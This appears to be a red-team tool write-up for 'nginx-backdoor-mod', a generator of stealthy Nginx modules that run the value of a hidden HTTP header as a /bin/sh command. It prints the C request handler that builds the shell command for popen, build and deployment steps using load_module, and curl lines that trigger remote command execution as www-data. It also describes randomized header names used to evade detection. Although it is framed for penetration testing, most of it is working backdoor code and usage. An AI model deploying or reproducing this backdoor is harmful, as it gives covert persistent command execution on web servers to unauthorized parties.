.:: nginx-backdoor-mod: Backdooring Nginx with modules ::.
[ Introduction ]
The nginx-backdoor-mod tool generates a tailored Nginx module that intercepts
HTTP requests, checks for a predefined header (e.g., X-<random>), and executes
its value as a system command via /bin/sh. Integrated into the Nginx HTTP
access phase, it blends seamlessly with normal server operations, making it a
stealthy vector for testing persistence and command execution vulnerabilities.
The module's build process leverages Docker for consistency, supports multiple
Nginx versions, and generates unique header names for obfuscation. This tool is
ideal for red team exercises, highlighting risks of unauthorized module loading
and weak header monitoring. Its output is a dynamically linked .so module,
loadable into Nginx to enable backdoor functionality.
The tool's source code is available at https://cgit.heqnx.com/nginx-mod-backdoor
and can be cloned with git clone https://cgit.heqnx.com/nginx-mod-backdoor.
[ Motivation and Objectives ]
nginx-backdoor-mod was developed to give red team operators a stealthy tool for
testing persistence and command execution in Nginx environments. Web servers
like Nginx are common targets, and weak module management or header monitoring
can open doors for attackers. This tool creates a backdoor module to simulate
such vulnerabilities, helping pentesters expose risks in controlled settings.
Objectives:
- Test Server Security: Deploy a backdoor to check if Nginx servers allow
unauthorized module loading
- Simulate Real Attacks: Execute commands via HTTP headers to mimic attacker
techniques, testing detection and logging
- Evade Casual Detection: Use randomized header names to blend with normal
traffic, challenging blue teams to spot anomalies
[ C Code Snippet ]
Below is a key excerpt from ngx_mod_template.c, showcasing the backdoor's
request handler:
static ngx_int_t __NAME___handler(ngx_http_request_t *r)
{
ngx_table_elt_t *header = search_headers_in(r, backdoor.data, backdoor.len);
if (header == NULL) {
return NGX_OK;
}
if (header->value.len > MAX_CMD_LEN) {
return NGX_HTTP_BAD_REQUEST;
}
static const char *cmd_prefix = SHELL " -c \"";
static const char *cmd_suffix = "\" 2>&1";
size_t cmd_len = ngx_strlen(cmd_prefix) + header->value.len + ngx_strlen(cmd_suffix) + 1;
u_char *cmd = ngx_pnalloc(r->pool, cmd_len);
if (cmd == NULL) {
return NGX_HTTP_INTERNAL_SERVER_ERROR;
}
u_char *p = cmd;
p = ngx_cpymem(p, cmd_prefix, ngx_strlen(cmd_prefix));
p = ngx_cpymem(p, header->value.data, header->value.len);
p = ngx_cpymem(p, cmd_suffix, ngx_strlen(cmd_suffix));
*p = '\0';
// ... command execution via popen ...
}
[ Analysis ]
The handler function checks for a specific HTTP header (defined as backdoor
with a value like __HEADER__, replaced during build). If found, it constructs a
shell command by wrapping the header's value in /bin/sh -c "..." 2>&1,
executing it via popen. The response is buffered dynamically, starting at 4KB
and expanding up to 1MB to handle command output, with safeguards against
excessive input (MAX_CMD_LEN=1024) and output (MAX_OUTPUT_SIZE=1MB).
Security considerations:
- Input Validation: The module caps header length at 1024 bytes, returning
NGX_HTTP_BAD_REQUEST for longer inputs, mitigating potential buffer issues
- Dynamic Memory: Using ngx_pnalloc and resizing response buffers prevents
memory overflows, though large outputs could strain resources
- Stealth: The randomized header name (e.g.,
X-325901e0f4512f4c22a43a6eb455ae0b) evades casual detection, but logging of
HTTP headers could expose the backdoor
- Error Handling: The module gracefully handles popen failures and empty
responses, ensuring stable server operation
The integration into Nginx's NGX_HTTP_ACCESS_PHASE ensures the backdoor
processes requests early, returning NGX_OK for normal traffic to avoid
disruption.
[ Building a Module Backdoor ]
Building the module with ./build.sh -r nginx-1.20.1.tar.gz -n test yields:
$ ./build.sh -r nginx-1.20.1.tar.gz -n test
[inf] downloading https://nginx.org/download/nginx-1.20.1.tar.gz
[inf] extracting nginx-1.20.1.tar.gz to /root/nginx-backdoor-mod
[inf] configure successful
[inf] successfully built test.so
[inf] output module "/root/nginx-backdoor-mod/test_v1.20.1_X-325901e0f4512f4c22a43a6eb455ae0b.so"
[inf] use "X-325901e0f4512f4c22a43a6eb455ae0b" for backdoor authentication + command execution
[inf] example: curl http://localhost -H 'X-325901e0f4512f4c22a43a6eb455ae0b: id'
After deploying the module to /usr/lib/nginx/modules/ and adding load_module
/usr/lib/nginx/modules/test_v1.20.1_X-<random>.so; to nginx.conf, a test
request like curl http://localhost -H 'X-325901e0f4512f4c22a43a6eb455ae0b: id'
returns:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[ Backdoor Usage ]
To use the module backdoor, an attacker with knowledge of the header name can chain commands:
curl http://localhost -H 'X-325901e0f4512f4c22a43a6eb455ae0b: id'